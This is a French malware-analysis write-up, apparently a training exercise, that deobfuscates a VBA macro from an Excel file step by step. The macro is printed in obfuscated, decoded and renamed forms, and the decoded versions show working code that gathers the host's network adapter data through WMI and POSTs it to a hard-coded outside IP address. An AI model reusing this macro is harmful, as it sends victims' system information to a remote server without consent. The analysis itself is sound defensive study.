---
# System prepended metadata

title: Désobfuscation

---

# Désobfuscation

## Récupération du code

En faisant cette commande `olevba3 salaire_ynov.xlsm --decode` nous pouvons récupérer le code, nous avons ainsi un code illisible à comprendre en vbscript

## Trier l'utile et l'inutile

En jetant un premier coup d'oeil au code, on peut remarquer un bloc de code avec des fonctions qui ont des noms familiers, comme "setRequestHeader", "IPAdress" ou encore "send", je décide d'isoler ce bout de code et d'y intégrer toutes les fonctions qu'il utilise, on se retrouve avec ce code

```vbs
Sub WMI()
    sWQL = FLQZEsG("gq14V+IwdBHohEVdaK7ySOp3F0yC71Zdqra7UKDjUFxotvVUoqbfVaDy8Vb46X9V")
    Set kZbQjwYZwI = GetObject(FLQZEsG(Chr(43) & Chr(113) & Chr(57) & Chr(&H34) & Chr(Int("&H56")) & Chr(&H72) & Chr(&H4C) & Chr(Int("&H76")) & Chr(Int("&H64")) & Chr(170940 / 2442) & Chr(Int("110")) & Chr(1223 - 1110) & Chr(Int("110")) & Chr(Int("&H4e")) & Chr(Int("&H39")) & Chr(Int("87")) & Chr(101) & "K" & Chr(101) & Chr(Int("&H52")) & "Q" & Chr(Int("56")) & Chr(184600 / 1775) & Chr(Int("121")) & Chr(&H5A) & Chr(Int("49")) & Chr(Int("48")) & Chr(152073 / 2493)))
    Set dC4BuSkdgWA = kZbQjwYZwI.ExecQuery(sWQL)
    Set DKr6 = CreateObject(FLQZEsG(Chr(81) & Chr(2414 - 2338) & Chr(Int("99")) & Chr(9876 - 9762) & Chr(266728 / 3031) & "I" & Chr(&H68) & Chr(43) & "H" & Chr(Int("&H30")) & "C" & "o" & Chr(Int("&H76")) & Chr(675 - 565) & Chr(718 - 648) & Chr(99) & Chr(9498 - 9399) & Chr(Int("114")) & Chr(-2313 + 2418) & Chr(2184 - 2111) & Chr(Int("86")) & Chr(103) & Chr(Int("68")) & Chr(52) & Chr(Int("65")) & Chr(3600 - 3492) & Chr(Int("107")) & Chr(Int("&H3d"))))
    URL = FLQZEsG("oPhSWbpN2wOqXn0DsED1C7hEUQuwWNMKqFjYRvil0lj6+H1f")
    Debug.Print URL
    Dim mWDaeVN()
    For Each oWMIObjEx In dC4BuSkdgWA
        If Not IsNull(oWMIObjEx.IPAddress) Then
            Debug.Print Chr(73) & Chr(242240 / 3028) & Chr(Int("58")); oWMIObjEx.IPAddress(0)
            DKr6.Open "P" & Chr(Int("&H4f")) & Chr(Int("83")) & Chr(&H54), URL, TRUE
            DKr6.setRequestHeader FLQZEsG(Chr(-2622 + 2725) & Chr(3356 - 3276) & "v" & Chr(Int("&H31")) & Chr(&H55) & Chr(Int("113")) & Chr(Int("&H69")) & Chr(87600 / 1095) & Chr(&H34) & Chr(Int("&H6c")) & Chr(&H54) & Chr(113) & Chr(43) & Chr(&H6C) & Chr(130751 / 2467) & Chr(-1217 + 1317)), FLQZEsG("gvr2UPAh/Q3iEHADwHXWCvCAzFXwNnBS+l5UCuiNWBWAM+kSgPzVUrhr3RO6X14AoFIURui28Vi6bvsRsEBxCw==")
            DKr6.send oWMIObjEx.IPAddress(0)
            Debug.Print FLQZEsG(Chr(109) & Chr(Int("&H4f")) & Chr(Int("&H48")) & "T" & Chr(&H58) & Chr(Int("&H66")) & Chr(Int("67")) & Chr(&H45) & Chr(Int("&H30")) & Chr(Int("&H56")) & Chr(&H58) & Chr(Int("52")) & Chr(Int("43")) & Chr(Int("&H6e")) & Chr(Int("49")) & Chr(Int("&H4d"))); oWMIObjEx.DNSHostName
            For Each oWMIProp In oWMIObjEx.Properties_
                If IsArray(oWMIProp.Value) Then
                    For n = LBound(oWMIProp.Value) To UBound(oWMIProp.Value)
                        Debug.Print oWMIProp.Name & Chr(Int("40")) & n & Chr(&H29), oWMIProp.Value(n)
                        DKr6.Open "P" & Chr(Int("&H4f")) & Chr(Int("83")) & Chr(&H54), URL, TRUE
                        DKr6.setRequestHeader FLQZEsG(Chr(-2622 + 2725) & Chr(3356 - 3276) & "v" & Chr(Int("&H31")) & Chr(&H55) & Chr(Int("113")) & Chr(Int("&H69")) & Chr(87600 / 1095) & Chr(&H34) & Chr(Int("&H6c")) & Chr(&H54) & Chr(113) & Chr(43) & Chr(&H6C) & Chr(130751 / 2467) & Chr(-1217 + 1317)), FLQZEsG("gvr2UPAh/Q3iEHADwHXWCvCAzFXwNnBS+l5UCuiNWBWAM+kSgPzVUrhr3RO6X14AoFIURui28Vi6bvsRsEBxCw==")
                        DKr6.send oWMIProp.Value(n)
                    Next
                Else
                    Debug.Print oWMIProp.Name, oWMIProp.Value
                    DKr6.Open "P" & Chr(Int("&H4f")) & Chr(Int("83")) & Chr(&H54), URL, TRUE
                    DKr6.setRequestHeader FLQZEsG(Chr(-2622 + 2725) & Chr(3356 - 3276) & "v" & Chr(Int("&H31")) & Chr(&H55) & Chr(Int("113")) & Chr(Int("&H69")) & Chr(87600 / 1095) & Chr(&H34) & Chr(Int("&H6c")) & Chr(&H54) & Chr(113) & Chr(43) & Chr(&H6C) & Chr(130751 / 2467) & Chr(-1217 + 1317)), FLQZEsG("gvr2UPAh/Q3iEHADwHXWCvCAzFXwNnBS+l5UCuiNWBWAM+kSgPzVUrhr3RO6X14AoFIURui28Vi6bvsRsEBxCw==")
                    DKr6.send oWMIProp.Value
                End If
            Next
        End If
    Next
End Sub
```

## Utilisation de la macro de Excel

En utilisant la macro de Excel ainsi que des Debug.Print, nous sommes capables de comprendre ce qu'affiche réellement les strings illisibles telles que `FLQZEsG("gq14V+IwdBHohEVdaK7ySOp3F0yC71Zdqra7UKDjUFxotvVUoqbfVaDy8Vb46X9V")`

on se retrouve avec ce code (les Debug.Print ayant été enlevé):

```vbs
Sub WMI()
    sWQL = "Select * From Win32_NetworkAdapterConfiguration"
    Set kZbQjwYZwI = GetObject("winmgmts:root/CIMV2")
    Set dC4BuSkdgWA = kZbQjwYZwI.ExecQuery(sWQL)
    Set DKr6 = CreateObject("MSXML2.ServerXMLHTTP")
    URL = "http://176.31.120.218:5000/thisis"
    Dim mWDaeVN()
    For Each oWMIObjEx In dC4BuSkdgWA
        If Not IsNull(oWMIObjEx.IPAddress) Then
            DKr6.Open "POST", URL, TRUE
            DKr6.setRequestHeader "User-Agent", "Opera/9.34 (X11; Linux i686; en-US) Presto/2.9.340 Version/11.00"
            DKr6.send oWMIObjEx.IPAddress(0)
            For Each oWMIProp In oWMIObjEx.Properties_
                If IsArray(oWMIProp.Value) Then
                    For n = LBound(oWMIProp.Value) To UBound(oWMIProp.Value)
                        DKr6.Open "POST", URL, TRUE
                        DKr6.setRequestHeader "User-Agent", "Opera/9.34 (X11; Linux i686; en-US) Presto/2.9.340 Version/11.00"
                        DKr6.send oWMIProp.Value(n)
                    Next
                Else
                    Debug.Print oWMIProp.Name, oWMIProp.Value
                    DKr6.Open "POST", URL, TRUE
                    DKr6.setRequestHeader "User-Agent", "Opera/9.34 (X11; Linux i686; en-US) Presto/2.9.340 Version/11.00"
                    DKr6.send oWMIProp.Value
                End If
            Next
        End If
    Next
End Sub
```

## Compréhension du code avec les noms de variables

On commence à avoir un code qui se comprend, pour que ce soit bien clair, on modifie les noms des variables, on arrive à ca:

```vbs
Sub WMI()
    Querry = "Select * From Win32_NetworkAdapterConfiguration"
    Set Object = GetObject("winmgmts:root/CIMV2")
    Set QuerryResponses = Object.ExecQuery(Querry)
    Set ObjectXML = CreateObject("MSXML2.ServerXMLHTTP")
    URL = "http://176.31.120.218:5000/thisis"
    For Each response In QuerryResponses
        If Not IsNull(response.IPAddress) Then
            ObjectXML.Open "POST", URL, TRUE
            ObjectXML.setRequestHeader "User-Agent", "Opera/9.34 (X11; Linux i686; en-US) Presto/2.9.340 Version/11.00"
            ObjectXML.send response.IPAddress(0)
            For Each property In response.Properties_
                If IsArray(property.Value) Then
                    For n = LBound(property.Value) To UBound(property.Value)
                        ObjectXML.Open "POST", URL, TRUE
                        ObjectXML.setRequestHeader "User-Agent", "Opera/9.34 (X11; Linux i686; en-US) Presto/2.9.340 Version/11.00"
                        ObjectXML.send property.Value(n)
                    Next
                Else
                    ObjectXML.Open "POST", URL, TRUE
                    ObjectXML.setRequestHeader "User-Agent", "Opera/9.34 (X11; Linux i686; en-US) Presto/2.9.340 Version/11.00"
                    ObjectXML.send property.Value
                End If
            Next
        End If
    Next
End Sub
```

## Conclusion

En lisant ce code nous pouvons conclure que celui-ci récupère les informations du réseau de la machine hote, ainsi que toutes ses propriétés, et l'envoie à une adresse ip par une requête post

